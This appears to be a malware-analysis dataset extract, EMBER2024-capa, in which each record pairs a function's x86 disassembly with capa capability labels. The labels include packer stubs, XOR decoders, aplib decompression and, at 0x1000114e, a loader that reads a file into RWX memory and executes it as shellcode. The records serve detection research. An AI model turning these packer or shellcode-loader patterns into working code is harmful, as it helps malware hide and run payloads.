joyce8/EMBER2024-capa huggingface dataset:
Function at 0xbb13f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.DATA
lea edi, [esi - 0x63a000]
push edi
or ebp, 0xffffffff
jmp 0xbb1412
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xbb1419
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xbb1408
mov eax, 1
add ebx, ebx
jne 0xbb142b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xbb143c
jne 0xbb145b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xbb145b
dec eax
add ebx, ebx
jne 0xbb1448
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xbb1420
add ebx, ebx
jne 0xbb1457
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xbb14ad
xor ecx, ecx
sub eax, 3
jb 0xbb1473
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xbb14e2
sar eax, 1
mov ebp, eax
jmp 0xbb147e
add ebx, ebx
jne 0xbb147e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xbb144c
inc ecx
add ebx, ebx
jne 0xbb148c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xbb144c
add ebx, ebx
jne 0xbb1499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xbb148e
jne 0xbb14aa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xbb148e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xbb14cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xbb14be
jmp 0xbb140e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xbb14cc
add edi, ecx
jmp 0xbb140e
pop esi
mov edi, esi
mov ecx, 0x20a70
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xbb14ea
cmp byte [edi], 0xaf
jne 0xbb14ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xbb14ef
lea edi, [esi + 0x7ad000]
mov eax, dword [edi]
or eax, eax
je 0xbb155e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7b3e7c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7b3fec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xbb151c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7b3ff4]
or eax, eax
je 0xbb1558
mov dword [ebx], eax
add ebx, 4
jmp 0xbb1539
call dword [esi + 0x7b3ff0]
mov ebp, dword [esi + 0x7b3ff8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xbb1592
sub esp, 0xffffff80
jmp 0x865e68
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x6e5130c7
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x4304d8
mov ecx, 0x45655f45
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10eed058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x10eed1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10eed07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10eed06a
add dl, dl
jne 0x10eed089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10eed0dc
xor eax, eax
add dl, dl
jne 0x10eed096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10eed17d
add dl, dl
jne 0x10eed0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10eed0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10eed0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10eed0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10eed0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10eed075
mov eax, 1
add dl, dl
jne 0x10eed0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10eed0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10eed0e1
sub eax, ebx
mov ebx, 1
jne 0x10eed128
mov ecx, 1
add dl, dl
jne 0x10eed10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10eed119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10eed105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10eed075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10eed13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10eed14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10eed136
cmp eax, 0x7d00
jae 0x10eed16d
cmp eax, 0x500
jb 0x10eed168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10eed075
cmp eax, 0x7f
ja 0x10eed170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10eed075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10eed19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10eed075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403558
Capabilities:
Terminate process

Disassembly:
jmp 0x453339
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45334a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004057ef
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403689
Capabilities:
Query environment variable

Disassembly:
jmp 0x49bd51
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49bd62
pop esi
ret
push ebx
push edi
push esi
call fcn.0049bc38
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403f30
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49bd8a
push ebx
push esi
push edi
call fcn.004055e2
add esp, 0xc
push 0
call fcn.0040610e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4056a5
Capabilities:
Parse pe header

Disassembly:
jmp 0x4426d9
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x442718
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x442718
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x442718
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x442718
cmp dword [ecx + 0x74], 0xe
jbe 0x442718
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x440350
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.004036e8
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x44038f
sub eax, 1
je 0x44038a
sub eax, 1
je 0x440386
xor eax, eax
leave
ret
push 3
jmp 0x440391
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x491760
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401d7f
mov eax, dword [0x4d0028]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405d35
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4917a2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4918fe
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405e84
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4d38e8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004031e3
mov ecx, dword [esi*4 + 0x4d38e8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4918f7
cmp eax, dword [edi + ecx + 0x24]
jne 0x4918f7
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4918f7
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004031e3
add esp, 0x14
test edx, edx
jl 0x4918f7
jg 0x49186d
test eax, eax
jb 0x4918f7
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4918f7
jl 0x491887
cmp dword [ebp - 0x1008], eax
ja 0x4918f7
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4918a5
test ebx, ebx
je 0x4918de
cmp ecx, edi
jae 0x4918de
mov al, byte [ecx]
cmp al, 0xd
jne 0x4918bf
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4918cb
cmp byte [ecx + 1], 0xa
jne 0x4918cb
inc ecx
jmp 0x4918cb
movzx eax, al
movsx eax, byte [eax + 0x4d0348]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4918a5
cmp edx, ebx
jne 0x4918a5
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4918fc
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402fdb
leave
ret
Function at 0x49203d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4d38e8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49207d
cmp byte [ebx], 0xa
jne 0x49207d
or byte [eax + edi + 0x28], 4
jmp 0x492082
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x492180
mov al, byte [edx]
cmp al, 0x1a
je 0x492162
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4920b1
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4920d6
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4920e0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x492093
jmp 0x492180
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49215d
cmp dword [ebp - 0xc], 0
je 0x49215d
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4d38e8]
test byte [eax + edi + 0x28], 0x48
je 0x492137
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x492122
mov byte [esi], dl
jmp 0x492133
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4d38e8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x492180
cmp byte [ebp - 1], 0xa
jne 0x492146
cmp esi, ebx
jne 0x492146
mov byte [esi], 0xa
jmp 0x49217f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401929
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x492180
mov byte [esi], 0xd
jmp 0x49217f
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4d38e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49217c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x492180
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4921dc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4d38e8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49221f
cmp word [esi], dx
jne 0x49221f
or byte [edi + eax + 0x28], 4
jmp 0x492224
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x492377
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x492357
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x492266
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x49229c
cmp eax, edx
jae 0x4922a8
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x49223e
jmp 0x492377
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x492353
cmp dword [ebp - 0x14], 0
je 0x492353
mov eax, dword [ebx*4 + 0x4d38e8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x49232b
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4922f4
mov word [esi], cx
jmp 0x492327
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4d38e8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4d38e8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4d38e8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x492377
pop ebx
cmp word [ebp - 4], bx
jne 0x49233c
cmp esi, dword [ebp + 0xc]
jne 0x49233c
mov word [esi], bx
jmp 0x492374
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401929
add esp, 0x10
cmp word [ebp - 4], bx
je 0x492377
push 0xd
jmp 0x492370
mov ecx, dword [ebx*4 + 0x4d38e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49236e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x492377
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x49a2f0
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d0028]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49a33b
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0049a7b2
test al, al
jne 0x49a335
sub edx, 2
cmp edx, edi
jne 0x49a31b
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x49a35d
lea eax, [edi + 2]
cmp edx, eax
je 0x49a35d
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00499ee9
add esp, 0x10
jmp 0x49a457
push esi
lea ecx, [ebp - 0x255]
call fcn.0049a7b2
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49a3a0
push dword [ebp - 0x25c]
jmp 0x49a34d
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x49a3dd
cmp word [ebp - 0x226], 0
je 0x49a3fe
cmp word [ebp - 0x226], ax
jne 0x49a3dd
cmp word [ebp - 0x224], 0
je 0x49a3fe
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00499ee9
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x49a44a
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x49a3b7
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x49a432
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x49a457
push 0x4998d1
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00405439
add esp, 0x10
jmp 0x49a427
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402fdb
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x408955
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
call fcn.0040897b
sub edi, 0xc309b3cd
xor dword [ebx], eax
or ecx, ecx
sub edi, edi
inc ebx
sub edi, edi
cmp ebx, edx
jne fcn.00408955
mov ecx, edi
add ecx, edi
ret
Function at 0x408ebe
Capabilities:
Get file attributes
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push closesocket
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408fa2
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x408f96
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
or ebx, 0xffffffff
mov dword [ebp - 0x18], eax
or eax, ecx
mov dword [ebp - 0x14], ecx
je 0x408fa2
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x408fa2
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov dword [ebp - 8], eax
and dword [ebp - 8], 1
je 0x408f3e
and eax, 0xfffffffe
push eax
push edi
call esi
test byte [ebp + 0x14], 1
jne 0x408f67
cmp dword [ebp - 0x14], 0
ja 0x408f53
cmp dword [ebp - 0x18], 0x180000
jb 0x408f67
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
call fcn.00408c42
jmp 0x408f79
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
call fcn.00408782
add esp, 0x10
cmp dword [ebp - 8], 0
mov dword [ebp - 4], eax
je 0x408fa2
push dword [ebp - 0xc]
test eax, eax
je 0x408f93
push dword [ebp + 0x10]
call esi
jmp 0x408fa2
push edi
call esi
cmp ebx, 0xffffffff
je 0x408fa2
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x10013850
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ecx + 0xcc]
mov eax, dword [ecx + 0xd4]
push esi
push edi
lea esi, [ebp + 8]
mov edi, 4
mov eax, dword [eax + edx*4 - 4]
not eax
nop
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x10169ea0]
sub edi, 1
jne 0x10013870
mov ecx, dword [0x10273be0]
not eax
pop edi
pop esi
cmp dword [ecx + 0x19ec], eax
jne 0x100138a2
mov dword [ecx + 0x19f0], eax
cmp dword [ecx + 0x1a20], eax
jne 0x100138b1
mov byte [ecx + 0x1a24], 1
pop ebp
ret 4

Function at 0x10013920
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10273240]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
movss xmm0, dword [edx]
mov edi, 0x10
subss xmm0, dword [esi + 0xc]
mov ecx, dword [esi + 0xcc]
cvttss2si eax, xmm0
movss xmm0, dword [edx + 4]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 0x14], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 8]
subss xmm0, dword [esi + 0xc]
mov dword [ebp - 0x10], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 0xc]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 0xc], eax
cvttss2si eax, xmm0
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xd4]
lea esi, [ebp - 0x14]
mov edx, dword [eax + ecx*4 - 4]
not edx
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10169ea0]
sub edi, 1
jne 0x10013994
mov eax, dword [0x10273be0]
not edx
pop edi
pop esi
cmp dword [eax + 0x19ec], edx
jne 0x100139c5
mov dword [eax + 0x19f0], edx
cmp dword [eax + 0x1a20], edx
jne 0x100139d4
mov byte [eax + 0x1a24], 1
mov ecx, dword [ebp - 4]
mov eax, edx
xor ecx, ebp
call fcn.10106b52
mov esp, ebp
pop ebp
ret 4

Function at 0x100141e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
not ebx
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
test edi, edi
je 0x10014243
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x10014226
cmp edi, 2
jb 0x10014226
cmp byte [esi], cl
jne 0x10014226
cmp byte [esi + 1], cl
jne 0x10014226
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x10169ea0]
jmp 0x100141f7
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x10169ea0]
test edi, edi
jne 0x100141f7
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10014278
nop word [eax + eax]
cmp cl, 0x23
jne 0x1001425f
cmp byte [esi], cl
jne 0x1001425f
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x10169ea0]
test cl, cl
